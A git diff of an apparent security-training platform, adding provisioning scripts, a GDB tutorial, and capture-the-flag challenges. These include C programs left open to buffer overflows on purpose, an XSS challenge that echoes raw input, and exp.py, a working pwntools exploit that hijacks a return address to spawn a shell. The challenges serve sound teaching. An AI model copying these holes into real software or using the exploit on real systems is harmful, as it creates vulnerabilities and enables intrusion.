diff --git a/ansible/files/apache/app.conf b/ansible/files/apache/app.conf new file mode 100644 index 00000000..83f2ac28 --- /dev/null +++ b/ansible/files/apache/app.conf @@ -0,0 +1,15 @@ + + ServerAdmin webmaster@localhost + ServerAlias {{ apache_hostname }} + + DocumentRoot {{ apache_docroot }} + + Options Indexes FollowSymLinks MultiViews + AllowOverride All + Order allow,deny + allow from all + Require all granted + + + SetEnv APP_ENV vagrant + diff --git a/ansible/files/apache/envvars b/ansible/files/apache/envvars new file mode 100644 index 00000000..5d835bb9 --- /dev/null +++ b/ansible/files/apache/envvars @@ -0,0 +1,47 @@ +# envvars - default environment variables for apache2ctl + +# this won't be correct after changing uid +unset HOME + +# for supporting multiple apache2 instances +if [ "${APACHE_CONFDIR##/etc/apache2-}" != "${APACHE_CONFDIR}" ] ; then + SUFFIX="-${APACHE_CONFDIR##/etc/apache2-}" +else + SUFFIX= +fi + +# Since there is no sane way to get the parsed apache2 config in scripts, some +# settings are defined via environment variables and then used in apache2ctl, +# /etc/init.d/apache2, /etc/logrotate.d/apache2, etc. +export APACHE_RUN_USER={{ apache_user|default('www-data') }} +export APACHE_RUN_GROUP={{ apache_group|default('www-data') }} +# temporary state file location. This might be changed to /run in Wheezy+1 +export APACHE_PID_FILE=/var/run/apache2/apache2$SUFFIX.pid +export APACHE_RUN_DIR=/var/run/apache2$SUFFIX +export APACHE_LOCK_DIR=/var/lock/apache2$SUFFIX +# Only /var/log/apache2 is handled by /etc/logrotate.d/apache2. +export APACHE_LOG_DIR=/var/log/apache2$SUFFIX + +## The locale used by some modules like mod_dav +export LANG=C +## Uncomment the following line to use the system default locale instead: +#. /etc/default/locale + +export LANG + +## The command to get the status for 'apache2ctl status'. +## Some packages providing 'www-browser' need '--dump' instead of '-dump'. +#export APACHE_LYNX='www-browser -dump' + +## If you need a higher file descriptor limit, uncomment and adjust the +## following line (default is 8192): +#APACHE_ULIMIT_MAX_FILES='ulimit -n 65536' + +## If you would like to pass arguments to the web server, add them below +## to the APACHE_ARGUMENTS environment. +#export APACHE_ARGUMENTS='' + +## Enable the debug mode for maintainer scripts. +## This will produce a verbose output on package installations of web server modules and web application +## installations which interact with Apache +#export APACHE2_MAINTSCRIPT_DEBUG=1 \ No newline at end of file diff --git a/ansible/files/mysql/.my.cnf b/ansible/files/mysql/.my.cnf new file mode 100644 index 00000000..14a9abf3 --- /dev/null +++ b/ansible/files/mysql/.my.cnf @@ -0,0 +1,3 @@ +[client] +user={{ db_user }} +password={{ db_pass }} \ No newline at end of file diff --git a/ansible/files/php/php.ini b/ansible/files/php/php.ini new file mode 100644 index 00000000..9606ce5b --- /dev/null +++ b/ansible/files/php/php.ini @@ -0,0 +1,219 @@ +[PHP] +engine = On +short_open_tag = Off +asp_tags = Off +precision = 14 +output_buffering = 4096 +zlib.output_compression = Off +implicit_flush = Off +unserialize_callback_func = +serialize_precision = 17 +disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, +disable_classes = +zend.enable_gc = On +expose_php = On +max_execution_time = 30 +max_input_time = 60 +memory_limit = 128M +error_reporting = E_ALL +display_errors = On +display_startup_errors = On +log_errors = On +log_errors_max_len = 1024 +ignore_repeated_errors = Off +ignore_repeated_source = Off +report_memleaks = On +track_errors = On +html_errors = On +variables_order = "GPCS" +request_order = "GP" +register_argc_argv = Off +auto_globals_jit = On +post_max_size = 8M +auto_prepend_file = +auto_append_file = +default_mimetype = "text/html" +doc_root = +user_dir = +enable_dl = Off +file_uploads = On +upload_max_filesize = 2M +max_file_uploads = 20 +allow_url_fopen = On +allow_url_include = Off +default_socket_timeout = 60 + +[CLI Server] +cli_server.color = On + +[Date] +date.timezone = UTC + +[filter] + +[iconv] + +[intl] + +[sqlite] + +[sqlite3] + +[Pcre] + +[Pdo] + +[Pdo_mysql] +pdo_mysql.cache_size = 2000 +pdo_mysql.default_socket = + +[Phar] + +[mail function] +smtp = localhost +smtp_port = 25 +mail.add_x_header = On + +[SQL] +sql.safe_mode = Off + +[ODBC] +odbc.allow_persistent = On +odbc.check_persistent = On +odbc.max_persistent = -1 +odbc.max_links = -1 +odbc.defaultlrl = 4096 +odbc.defaultbinmode = 1 + +[Interbase] +ibase.allow_persistent = 1 +ibase.max_persistent = -1 +ibase.max_links = -1 +ibase.timestampformat = "%Y-%m-%d %H:%M:%S" +ibase.dateformat = "%Y-%m-%d" +ibase.timeformat = "%H:%M:%S" + +[MySQL] +mysql.allow_local_infile = On +mysql.allow_persistent = On +mysql.cache_size = 2000 +mysql.max_persistent = -1 +mysql.max_links = -1 +mysql.default_port = +mysql.default_socket = +mysql.default_host = +mysql.default_user = +mysql.default_password = +mysql.connect_timeout = 60 +mysql.trace_mode = Off + +[MySQLi] +mysqli.max_persistent = -1 +mysqli.allow_persistent = On +mysqli.max_links = -1 +mysqli.cache_size = 2000 +mysqli.default_port = 3306 +mysqli.default_socket = +mysqli.default_host = +mysqli.default_user = +mysqli.default_pw = +mysqli.reconnect = Off + +[mysqlnd] +mysqlnd.collect_statistics = On +mysqlnd.collect_memory_statistics = On + +[OCI8] + +[PostgreSQL] +pgsql.allow_persistent = On +pgsql.auto_reset_persistent = Off +pgsql.max_persistent = -1 +pgsql.max_links = -1 +pgsql.ignore_notice = 0 +pgsql.log_notice = 0 + +[Sybase-CT] +sybct.allow_persistent = On +sybct.max_persistent = -1 +sybct.max_links = -1 +sybct.min_server_severity = 10 +sybct.min_client_severity = 10 + +[bcmath] +bcmath.scale = 0 + +[browscap] + +[Session] +session.save_handler = files +session.use_strict_mode = 0 +session.use_cookies = 1 +session.use_only_cookies = 1 +session.name = PHPSESSID +session.auto_start = 0 +session.cookie_lifetime = 0 +session.cookie_path = / +session.cookie_domain = +session.cookie_httponly = +session.serialize_handler = php +session.gc_probability = 0 +session.gc_divisor = 1000 +session.gc_maxlifetime = 1440 +session.referer_check = +session.cache_limiter = nocache +session.cache_expire = 180 +session.use_trans_sid = 0 +session.hash_function = 0 +session.hash_bits_per_character = 5 +url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry" + +[MSSQL] +mssql.allow_persistent = On +mssql.max_persistent = -1 +mssql.max_links = -1 +mssql.min_error_severity = 10 +mssql.min_message_severity = 10 +mssql.compatibility_mode = Off +mssql.secure_connection = Off + +[Assertion] + +[COM] + +[mbstring] + +[gd] + +[exif] + +[Tidy] +tidy.clean_output = Off + +[soap] +soap.wsdl_cache_enabled = 1 +soap.wsdl_cache_dir = "/tmp" +soap.wsdl_cache_ttl = 86400 +soap.wsdl_cache_limit = 5 + +[sysvshm] + +[ldap] +ldap.max_links = -1 + +[mcrypt] + +[dba] + +[opcache] + +[curl] + +[global] +memory_limit = -1 + +[XDebug] +xdebug.remote_enable = on +xdebug.remote_connect_back = on +xdebug.idekey = vagrant + diff --git a/ansible/provision.yml b/ansible/provision.yml new file mode 100644 index 00000000..a8cd7a6a --- /dev/null +++ b/ansible/provision.yml @@ -0,0 +1,21 @@ +--- +- hosts: all + sudo: true + vars: + root_folder: "/var/www/html/" + write_folder: "/var/www/html/" + db_name: hackademic + db_user: hackademic + db_pass: hackademicDevPassPleaseChange! + apache_user: vagrant + apache_group: vagrant + apache_docroot: "{{ root_folder }}/web" + apache_hostname: "localhost" + handlers: + - name: restart apache + service: name=apache2 state=reloaded + tasks: + - include: tasks/common.yml + - include: tasks/apache.yml + - include: tasks/mysql.yml + - include: tasks/php.yml diff --git a/ansible/tasks/apache.yml b/ansible/tasks/apache.yml new file mode 100644 index 00000000..2dca2c34 --- /dev/null +++ b/ansible/tasks/apache.yml @@ -0,0 +1,39 @@ +--- +- name: Apache + apt: pkg=apache2 state=installed + +- name: Apache | Stop for user/group change + service: name=apache2 state=stopped + +- name: Apache | Define envvars + template: src=../files/apache/envvars dest=/etc/apache2/envvars + +- name: Apache | Changing lock file owner/group + file: path=/var/lock/apache2 owner={{ apache_user }} group={{ apache_group }} + +- name: Apache | Start for user/group change + service: name=apache2 state=started + +- name: Apache Modules + command: a2enmod {{ item }} + notify: restart apache + with_items: + - rewrite + - vhost_alias + - headers + - expires + - filter + +- name: Apache | Copy Host Config + template: src=../files/apache/app.conf dest=/etc/apache2/sites-available/app.conf + +- name: Apache | Enable Host Config + command: a2ensite app.conf + notify: restart apache + +- name: Apache | Disable Default Host Config + command: a2dissite 000-default.conf + notify: restart apache + +- name: Apache | Ensure application files are present + file: path={{ apache_docroot }} state=directory diff --git a/ansible/tasks/common.yml b/ansible/tasks/common.yml new file mode 100644 index 00000000..e89d2639 --- /dev/null +++ b/ansible/tasks/common.yml @@ -0,0 +1,36 @@ +--- +# Update the repo, because most boxes are heavily outdated +- name: Commmon | Update repository + apt: update_cache=yes + +# Required for adding other apt repos +- name: Commmon | python-software-properties + apt: pkg=python-software-properties state=installed + +# Add custom repos +- name: PHP 5.5 Custom Repo + apt_repository: repo='ppa:ondrej/php5' update_cache=yes + +- name: Common | Install ACL + apt: pkg=acl state=installed + +- name: Common | Install cURL + apt: pkg=curl state=installed + +- name: Common | Install Git + apt: pkg=git-core state=installed + +- name: Common | Install Vim + apt: pkg=vim state=installed + +- name: Common | Install run-one + apt: pkg=run-one state=installed + +# Hostname +- name: Common | Set the hostname /etc/hostname + shell: echo {{ hostname }} > /etc/hostname + when: hostname is defined + +- name: Set the hostname + shell: hostname {{ hostname }} + when: hostname is defined diff --git a/ansible/tasks/mysql.yml b/ansible/tasks/mysql.yml new file mode 100644 index 00000000..8d782441 --- /dev/null +++ b/ansible/tasks/mysql.yml @@ -0,0 +1,19 @@ +--- +- name: MySQL + apt: pkg=mysql-server state=installed + +- name: MySQL + apt: pkg=python-mysqldb state=installed + +- name: MySQL | Set Password + mysql_user: name={{ db_user }} host={{ item }} password={{ db_pass }} priv=*.*:ALL,GRANT + with_items: + - 127.0.0.1 + - ::1 + - localhost + +- name: MySQL | Copy Config File + template: src=../files/mysql/.my.cnf dest=/root/.my.cnf owner=root mode=0600 + +- name: MySQL | Create App DB + mysql_db: name={{ db_name }} state=present login_password={{ db_pass }} login_user={{ db_user }} \ No newline at end of file diff --git a/ansible/tasks/php.yml b/ansible/tasks/php.yml new file mode 100644 index 00000000..af385e77 --- /dev/null +++ b/ansible/tasks/php.yml @@ -0,0 +1,27 @@ +--- +- name: PHP and Modules + apt: pkg={{ item }} state=latest + notify: restart apache + tags: common + with_items: + - php5 + - php5-mysql + - php5-xmlrpc + - php-soap + - php5-gd + - php5-curl + - php5-intl + - php5-imap + - php5-memcached + - php5-mongo + - php5-xdebug + +# PHP Apache config +- name: PHP | Apache config + copy: src=../files/php/php.ini dest=/etc/php5/apache2/php.ini owner=vagrant group=vagrant mode=0644 force=yes + notify: + - restart apache + +# PHP CLI config +- name: PHP | Apache config + copy: src=../files/php/php.ini dest=/etc/php5/cli/php.ini owner=vagrant group=vagrant mode=0644 force=yes diff --git a/assets/css/style.css b/assets/css/style.css index 5313e684..2bea810f 100755 --- a/assets/css/style.css +++ b/assets/css/style.css @@ -12,17 +12,17 @@ img {border:none;} } #topMenuHeader { - margin-left: -30px; + margin-left: -30px; display: block; } #topMenu ul { - list-style:none; - font-family: 'Cuprum', arial, serif; + list-style:none; + font-family: 'Cuprum', arial, serif; } -#topMenu li { - display: inline; +#topMenu li { + display: inline; border-right:1px solid #dcddde; position: relative; } @@ -173,10 +173,6 @@ img {border:none;} margin-bottom: 0.5em; } #login a { font-size: 0.7em; text-decoration: none; color:black; line-height: 1.7em; display: inline-block;} -#login a:before{ - color: #3d7ca7; - content: 'â—Š'; -} #login a:hover{ text-decoration: underline; } @@ -290,4 +286,4 @@ img {border:none;} .show_challenge { width: 90%; margin: auto; -} \ No newline at end of file +} diff --git a/assets/index.php b/assets/index.php deleted file mode 100644 index e69de29b..00000000 diff --git a/challenges/Example/example.xml b/challenges/Example/example.xml deleted file mode 100755 index 9e118991..00000000 --- a/challenges/Example/example.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - Example Template For Challenge .xml Files creation - - Name or email or both - - In what category does your challenge belong?(web? crypto? networks?) - - Insert some text describing the scenario of the challenge(what the users are supposed to do and if there is any fictional story) - - - Either an interger from 1 to 10 with 1 being the easiest , or one of beginner, intermediate, advanced , hide_yo_wife - The level will be the max points a user can get. - beginner: 2pts - intermediate 4pts - advanced 6pts - hide_yo_wife 8pts - b4d1d3a 10pts - - - The duration after which a user is disqualified. - The timer starts when a username starts a challenge for first time. - - diff --git a/challenges/Example/index.php b/challenges/Example/index.php deleted file mode 100755 index cd14af87..00000000 --- a/challenges/Example/index.php +++ /dev/null @@ -1,61 +0,0 @@ - - - - -Challenge Template Example - - - -
Hi! -

-This is a simple challenge template to illustrate the only two constraints of any hackademic challenge.

-1. Every challenge should come with a .xml file describing the challenge which is like this:
-
-
-<?xml version="1.0" encoding="UTF-8"?>
-<challenge>
-    <title>Example Template For Challenge .xml Files creation</title>
-    <author>
-	Name or email or both
-    </author>
-    <category>In what category does your challenge belong?(web? crypto? networks?)</category>
-    <description>
-	Insert some text describing the scenario of the challenge(what the users are supposed to do and if there is any fictional story)
-    </description>
-    <level>
-	Either an interger from 1  to 10 with 1 being the easiest , or one of beginner, intermediate, advanced , hide_yo_wife, bad1d3a
-	The level will be the max points a user can get.
-	beginner:	2pts	
-	intermediate	4pts
-	advanced	6pts
-	hide_yo_wife	8pts
-	bad1d3a		10pts
-    </level>
-	<duration>
-	The duration after which a user is disqualified.
-	The timer starts when a username starts a challenge for first time.
-	</duration>
-</challenge>
-
-
-
-2. In order to update a user's score in the hackademic database one must include the following
-	This include (once the session has started)
-	require_once($_SESSION['hackademic_path']."controller/class.ChallengeValidatorController.php");
-	The following to create a challenge validator
-	
-		$solution = 'secret_password';
-		$validator = new ChallengeValidatorController($solution);
-	
-	And the following to verify a solution submitted by an user
-	if($validator->validateSolution($solution)) {
-Simple?
-Enjoy
-
-
-The rest depend on your administrator policies regarding what is considered a valid challenge.
-
- - - - diff --git a/challenges/bof1/GDB.md b/challenges/bof1/GDB.md new file mode 100644 index 00000000..aa40b9e4 --- /dev/null +++ b/challenges/bof1/GDB.md @@ -0,0 +1,275 @@ +# GDB Tutorial +--- + +This is an first of the tutorials in the **Introduction to binary exploitation** tutorial series. + +One of the few basic things you require while debugging a program is a debugger. + +### What exactly is a debugger? + +A debugger is a program that runs other programs, allowing the user to exercise control over these programs, and to examine variables when problems arise. GNU Debugger, which is also called ***gdb***, is the most popular debugger for UNIX systems to debug C and C++ programs. + + +In this tutorial, we will be looking at how to debug some simple programs with gdb and some of the basic commands are more frequently used by me while debugging. + +So let's get started. + +(Note: If you don't have gdb installed, check out this [this](ftp://ftp.gnu.org/old-gnu/Manuals/gdb/html_chapter/gdb_27.html) link. For Ubnutu users, simple `[sudo] apt-get install gdb` also works.) + + + +## First program + +``` +#include +#include + +void print_message() +{ + printf("This is the print_message function!\nYou are welcome here!"); +} + +int main() +{ + int a = 5; + int b = 7; + int c = 3; + int d = 1; + + int res = a*c; + res-=d; + res/=b; + + printf("%d\n", res); + + print_message(); +} +``` + +#### Compile this program: +`gcc -m32 -o prog1 prog1.c` + +**-m32**: Flag used to generate 32-bit binary. + +### Debug using GDB: + +##### Useful Commands: + +`break or b`: + +**Usage:** + +After running gdb, you can use this command to set breakpoints. + +For eg. If you want to set up a breakpoint at the `main` function of the prog1 file, run: +``` +(gdb) b main +Breakpoint 1 at 0x8048442 +``` + +(Note: the address of the breakpoint may vary in your machine). + +This sets up a break point at the main instruction. + +To see a list of current break-points: + +**use:** + +`info b` + +``` +(gdb) info b +Num Type Disp Enb Address What +1 breakpoint keep y 0x08048442 + +``` + +To delete a breakpoint: + +`del ` + +``` +(gdb) del 1 +``` + + +`run or r`: + +This command starts the execution of the program. It will pause at the first breakpoint (if set) of the program. + +``` +(gdb) r +Starting program: /tmp/prog1 + +Breakpoint 1, 0x08048442 in main () +``` + +`continue or c`: + +This command continues the execution of the program until it finds the next break point. + +For eg. In this case, we set up the second break-point at the `print_message` function, and then run the `continue` command: + +``` +(gdb) b print_message +Breakpoint 2 at 0x8048421 +(gdb) c +Continuing. +2 + +Breakpoint 2, 0x08048421 in print_message () +``` + + +**Automatic Display** + +`display/fmt ` + +Automatic display prints its value each time gdb stops. Can be used to print the value of expressions, addresses and registers each time the program stops. + +``` +(gdb) display/10i $eip +1: x/10i $eip +=> 0x8048442 : sub esp,0x24 + 0x8048445 : mov DWORD PTR [ebp-0x1c],0x5 + 0x804844c : mov DWORD PTR [ebp-0x18],0x7 + 0x8048453 : mov DWORD PTR [ebp-0x14],0x3 + 0x804845a : mov DWORD PTR [ebp-0x10],0x1 + 0x8048461 : mov eax,DWORD PTR [ebp-0x1c] + 0x8048464 : imul eax,DWORD PTR [ebp-0x14] + 0x8048468 : mov DWORD PTR [ebp-0xc],eax + 0x804846b : mov eax,DWORD PTR [ebp-0x10] + 0x804846e : sub DWORD PTR [ebp-0xc],eax +``` + +**Display**: + +`x/fmt addr` + +Used to examine memory at different addresses. Even this can be used to print the value of expressions, addresses and registers. But it doesn't do it each time the program stops. We have to give this command each time we want to check that value. + +eg. This instruction used to view the stack. +``` +(gdb) x/32xw $esp +0xffffd674: 0xffffd690 0x00000000 0xf7e1072e 0x00000000 +0xffffd684: 0x08048320 0x00000000 0xf7e1072e 0x00000001 +0xffffd694: 0xffffd724 0xffffd72c 0x00000000 0x00000000 +0xffffd6a4: 0x00000000 0xf7fef049 0x0804821c 0x0804a014 +0xffffd6b4: 0xf7fac000 0x00000000 0x08048320 0x00000000 +0xffffd6c4: 0x7777adb4 0x4ad769a4 0x00000000 0x00000000 +0xffffd6d4: 0x00000000 0x00000001 0x08048320 0x00000000 +0xffffd6e4: 0xf7fee760 0xf7e10659 0xf7ffd000 0x00000001 + +``` + +`nexti or ni`: + +Execute one machine instruction, but if it is a function call, proceed until the function returns. + +`stepi or si`: + +Execute one machine instruction, then stop and return to the debugger. It is often useful to do `display/i $eip` when stepping by machine instructions. This makes GDB automatically display the next instruction to be executed, each time your program stops. + +To check out the difference between `nexti` and `stepi`, let's start a new debugging session. + +(Note: Because I prefer Intel Syntax, I used the command `set disassembly-flavor intel`. But this choice is completely personal. Use the one you find yourself more comfortable with :) ) + +``` +(gdb) set disassembly-flavor intel +(gdb) b main +Breakpoint 1 at 0x8048442 +(gdb) display/10i $eip +1: x/10i $eip + +(gdb) r +Starting program: /tmp/prog1 + +Breakpoint 1, 0x08048442 in main () +1: x/10i $eip +=> 0x8048442 : sub esp,0x24 + 0x8048445 : mov DWORD PTR [ebp-0x1c],0x5 + 0x804844c : mov DWORD PTR [ebp-0x18],0x7 + 0x8048453 : mov DWORD PTR [ebp-0x14],0x3 + 0x804845a : mov DWORD PTR [ebp-0x10],0x1 + 0x8048461 : mov eax,DWORD PTR [ebp-0x1c] + 0x8048464 : imul eax,DWORD PTR [ebp-0x14] + 0x8048468 : mov DWORD PTR [ebp-0xc],eax + 0x804846b : mov eax,DWORD PTR [ebp-0x10] + 0x804846e : sub DWORD PTR [ebp-0xc],eax + +``` + +Now, step until the point where `print_message` is called. + +``` +(gdb) +0x0804848e in main () +1: x/10i $eip +=> 0x804848e : call 0x804841b + 0x8048493 : mov eax,0x0 + 0x8048498 : mov ecx,DWORD PTR [ebp-0x4] + 0x804849b : leave + 0x804849c : lea esp,[ecx-0x4] + 0x804849f : ret + 0x80484a0 <__libc_csu_init>: push ebp + 0x80484a1 <__libc_csu_init+1>: push edi + 0x80484a2 <__libc_csu_init+2>: xor edi,edi + 0x80484a4 <__libc_csu_init+4>: push esi + ``` + + + +Set a breakpoint at this address. +Now, use `nexti` to jump to next instruction. +You will observe that the instruction pointer jumps to the next instruction after the `call` + +``` +(gdb) b *0x804848e +Breakpoint 2 at 0x804848e +(gdb) ni +This is the print_message function! +0x08048493 in main () +1: x/10i $eip +=> 0x8048493 : mov eax,0x0 + 0x8048498 : mov ecx,DWORD PTR [ebp-0x4] + 0x804849b : leave + 0x804849c : lea esp,[ecx-0x4] + 0x804849f : ret + 0x80484a0 <__libc_csu_init>: push ebp + 0x80484a1 <__libc_csu_init+1>: push edi + 0x80484a2 <__libc_csu_init+2>: xor edi,edi + 0x80484a4 <__libc_csu_init+4>: push esi + 0x80484a5 <__libc_csu_init+5>: push ebx +``` + +Now, run the program again (`r` instruction) and use `c` to jump to the second breakpoint. +Use `si` instruction. In this case, the instruction pointer jumps to the first instruction in the `print_message` function. + +``` +(gdb) stepi +0x0804841b in print_message () +1: x/10i $eip +=> 0x804841b : push ebp + 0x804841c : mov ebp,esp + 0x804841e : sub esp,0x8 + 0x8048421 : sub esp,0xc + 0x8048424 : push 0x8048520 + 0x8048429 : call 0x80482f0 + 0x804842e : add esp,0x10 + 0x8048431 : nop + 0x8048432 : leave + 0x8048433 : ret + ``` + + +This is not it! These are just the instructions I frequently use during my debugging sessions. There may be some instructions you need but aren't there in this tutorial. +I leave the task of finding those instructions to you! + +Links: + +* A [cheat sheet](http://www.yolinux.com/TUTORIALS/GDB-Commands.html) I would recommemd + + +> Written By : [Punit Dhoot](https://github.com/pdhoot/) + + diff --git a/challenges/bof1/bof1.xml b/challenges/bof1/bof1.xml new file mode 100644 index 00000000..f45c7d1b --- /dev/null +++ b/challenges/bof1/bof1.xml @@ -0,0 +1,19 @@ + + + Buffer Overflow 1 + + Punit Dhoot + + Binary + + + + + 1 + + + Vagrant + + \ No newline at end of file diff --git a/challenges/bof1/challenge.xml b/challenges/bof1/challenge.xml new file mode 100644 index 00000000..cf40d100 --- /dev/null +++ b/challenges/bof1/challenge.xml @@ -0,0 +1,8 @@ + + + ubuntu/trusty64 + + + + manifests/default.pp + \ No newline at end of file diff --git a/challenges/bof1/files/overflow1/one b/challenges/bof1/files/overflow1/one new file mode 100755 index 00000000..38498592 Binary files /dev/null and b/challenges/bof1/files/overflow1/one differ diff --git a/challenges/bof1/files/overflow1/one.c b/challenges/bof1/files/overflow1/one.c new file mode 100644 index 00000000..19e12b58 --- /dev/null +++ b/challenges/bof1/files/overflow1/one.c @@ -0,0 +1,29 @@ +/* Compiled as: + * gcc -m32 -fno-stack-protector -0 one one.c + */ + +#include +#include + +int main(int argc, char* argv[]) +{ + if(argc<2) + { + printf("Not enough arguments.\n"); + exit(1); + } + + int auth = 0; + char buffer[100]; + strcpy(buffer, argv[1]); + + if(auth==0) + { + printf("You need to authenticate yourselves. Try again!\n"); + exit(0); + } + else + { + printf("Congratulations! You are authenticated.\n"); + } +} \ No newline at end of file diff --git a/challenges/bof1/manifests/default.pp b/challenges/bof1/manifests/default.pp new file mode 100644 index 00000000..07f98e89 --- /dev/null +++ b/challenges/bof1/manifests/default.pp @@ -0,0 +1,10 @@ +exec { 'apt-update': # exec resource named 'apt-update' + command => '/usr/bin/apt-get update' # command this resource will run +} + +# install packages +package { +[gcc, gdb, vim, language-pack-en + ]: require => Exec['apt-update'], # require 'apt-update' before installing + ensure => installed, +} \ No newline at end of file diff --git a/challenges/bof2/bof2.xml b/challenges/bof2/bof2.xml new file mode 100644 index 00000000..dc9feeab --- /dev/null +++ b/challenges/bof2/bof2.xml @@ -0,0 +1,19 @@ + + + Buffer Overflow 1 + + Punit Dhoot + + Binary + + + + + 2 + + + Vagrant + + \ No newline at end of file diff --git a/challenges/bof2/challenge.xml b/challenges/bof2/challenge.xml new file mode 100644 index 00000000..9b1e04a6 --- /dev/null +++ b/challenges/bof2/challenge.xml @@ -0,0 +1,8 @@ + + + ubuntu/trusty64 + + + + manifests/default.pp + \ No newline at end of file diff --git a/challenges/bof2/files/overflow2/two b/challenges/bof2/files/overflow2/two new file mode 100755 index 00000000..0b4b0778 Binary files /dev/null and b/challenges/bof2/files/overflow2/two differ diff --git a/challenges/bof2/files/overflow2/two.c b/challenges/bof2/files/overflow2/two.c new file mode 100644 index 00000000..b946cf40 --- /dev/null +++ b/challenges/bof2/files/overflow2/two.c @@ -0,0 +1,27 @@ +/* Compiled as: + * gcc -m32 -fno-stack-protector -0 two two.c + */ + +#include +#include + +#define N 100 +void win() +{ + printf("How the heck did you reach here!\nYou definitely must be a hacker!\nCongratulations!\n"); +} + +void lose() +{ + printf("Not even close!\nTry again! :p\n"); +} + +int main(int argc, char* argv[]) +{ + printf("Enter your name:\n"); + void (*func)(); + func = lose; + char name[N]; + gets(name); + func(); +} \ No newline at end of file diff --git a/challenges/bof2/manifests/default.pp b/challenges/bof2/manifests/default.pp new file mode 100644 index 00000000..07f98e89 --- /dev/null +++ b/challenges/bof2/manifests/default.pp @@ -0,0 +1,10 @@ +exec { 'apt-update': # exec resource named 'apt-update' + command => '/usr/bin/apt-get update' # command this resource will run +} + +# install packages +package { +[gcc, gdb, vim, language-pack-en + ]: require => Exec['apt-update'], # require 'apt-update' before installing + ensure => installed, +} \ No newline at end of file diff --git a/challenges/ch003/index.php b/challenges/ch003/index.php index 8ae395f3..dc61e0a2 100644 --- a/challenges/ch003/index.php +++ b/challenges/ch003/index.php @@ -1,54 +1,54 @@ -Challenge 003 -
+ Challenge 003 +
- +

-
- + startChallenge(); -$_SESSION['init'] = true; + $solution = new RegexSolution(RegexSolution::JS_BEGIN . 'alert\("XSS!"\)' . RegexSolution::JS_END); + $validator = new ChallengeValidatorController($solution); + $validator->startChallenge(); + $_SESSION['init'] = true; -if (isset($_POST['try_xss'])) { - $answer = $_POST['try_xss']; - $valid = $validator->validateSolution($answer); - if ($valid) { - echo $answer; - echo "

Congratulations!

"; - exit(); - } -} -?> - Try to XSS me using the straight forward way...
-
- - -
-
+ if (isset($_POST['try_xss'])) { + $answer = $_POST['try_xss']; + $valid = $validator->validateSolution($answer); + if ($valid) { + echo $answer; + echo "

Congratulations!

"; + exit(); + } + } + ?> + Try to XSS me using the straight forward way...
+
+ + +
+
diff --git a/challenges/ch041/.vagrant/README b/challenges/ch041/.vagrant/README new file mode 100644 index 00000000..aa987441 --- /dev/null +++ b/challenges/ch041/.vagrant/README @@ -0,0 +1,4 @@ +In order to run this challenge run: + vagrant up + +Give the students the binary vektor. diff --git a/challenges/ch041/Makefile b/challenges/ch041/Makefile new file mode 100644 index 00000000..99034d57 --- /dev/null +++ b/challenges/ch041/Makefile @@ -0,0 +1,7 @@ +all: vektor + +vektor: vektor.c + gcc -m32 vektor.c -o vektor + +clean: + rm -rf vektor diff --git a/challenges/ch041/Vagrantfile b/challenges/ch041/Vagrantfile new file mode 100644 index 00000000..7d2cfb19 --- /dev/null +++ b/challenges/ch041/Vagrantfile @@ -0,0 +1,12 @@ +VAGRANTFILE_API_VERSION = "2" + +Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| + + config.vm.box = "ubuntu/trusty32" + + config.vm.network "private_network", ip: "10.0.2.14" #random ip address + + config.vm.provision "shell", + inline: "sudo apt-get install socat; cd /vagrant; make clean; make; nohup socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./vektor &" + config.vm.network "forwarded_port", guest: 2323, host: 2323 +end diff --git a/challenges/ch041/exp.py b/challenges/ch041/exp.py new file mode 100644 index 00000000..c41bc47a --- /dev/null +++ b/challenges/ch041/exp.py @@ -0,0 +1,23 @@ +from pwn import * + +io = remote("0", 2323) +#io = process('./vektor') +#gdb.attach(io) + +#Select Add VEKTOR +payload = "1\n" + +#Set offset for the arbitrary write +payload += "33\n" + +#Set _admin_area offset converted to decimal +payload += "134514045\n" + +#Select Exit so we can hit the overwritten main return address +payload += "5\n" + +#Send the payload +io.send(payload) + +#Change mode to interactive since we got shell +io.interactive() diff --git a/challenges/ch041/vektor.c b/challenges/ch041/vektor.c new file mode 100644 index 00000000..a00bceb8 --- /dev/null +++ b/challenges/ch041/vektor.c @@ -0,0 +1,112 @@ +#include + +void _admin_area() { + + system("/bin/sh"); + +} + +void _add(int pos, int val, int* vektor) { + + vektor[pos] = val; + +} + +void _remove(int val, int* vektor) { + + int i; + for (i = 0; i < 30; i++){ + if (vektor[i] == val){ + vektor[i] = 0; + break; + } + } + +} + +void _show(int* vektor) { + + int i; + printf("[ "); + for (i = 0; i < 29; i++) + printf("%d, ", vektor[i]); + printf("%d ]", vektor[29]); + +} + +void print_motd(){ + + puts("\n\n"); + puts(" \\ \\ / / ____| |/ /__ __/ __ \\| __ \\\n\ + \\ \\ / /| |__ | \' / | | | | | | |__) |\n\ + \\ \\/ / | __| | < | | | | | | _ / \n\ + \\ / | |____| . \\ | | | |__| | | \\ \\ \n\ + \\/ |______|_|\\_\\ |_| \\____/|_| \\_\\"); + puts("\n\n"); + puts("Welcome to the VEKTOR premium service!!\n"); + +} + +void print_menu(){ + + puts("1. Add to VEKTOR"); + puts("2. Remove from VEKTOR"); + puts("3. View VEKTOR position"); + puts("4. Show VEKTOR"); + puts("5. Exit"); + +} + +int main(){ + + int vektor[30] = {0}; + unsigned int pos, finito = 0; + int n, choice; + + setbuf(stdin, 0); + setbuf(stdout, 0); + + print_motd(); + + while (1) { + + printf("\nWhat would you like to do?\n\n"); + print_menu(); + scanf("%d", &choice); + + switch(choice){ + case 1: + printf("Enter position: "); + scanf("%u", &pos); + printf("Enter value: "); + scanf("%d", &n); + _add(pos, n, vektor); + fgetc(stdin); + break; + case 2: + printf("Enter value: "); + scanf("%d", &n); + _remove(n, vektor); + fgetc(stdin); + break; + case 3: + printf("Enter position: "); + scanf("%u", &pos); + printf("Value at position %u is %d\n", pos, vektor[pos]); + fgetc(stdin); + break; + case 4: + _show(vektor); + break; + case 5: + finito = 1; + break; + default: + 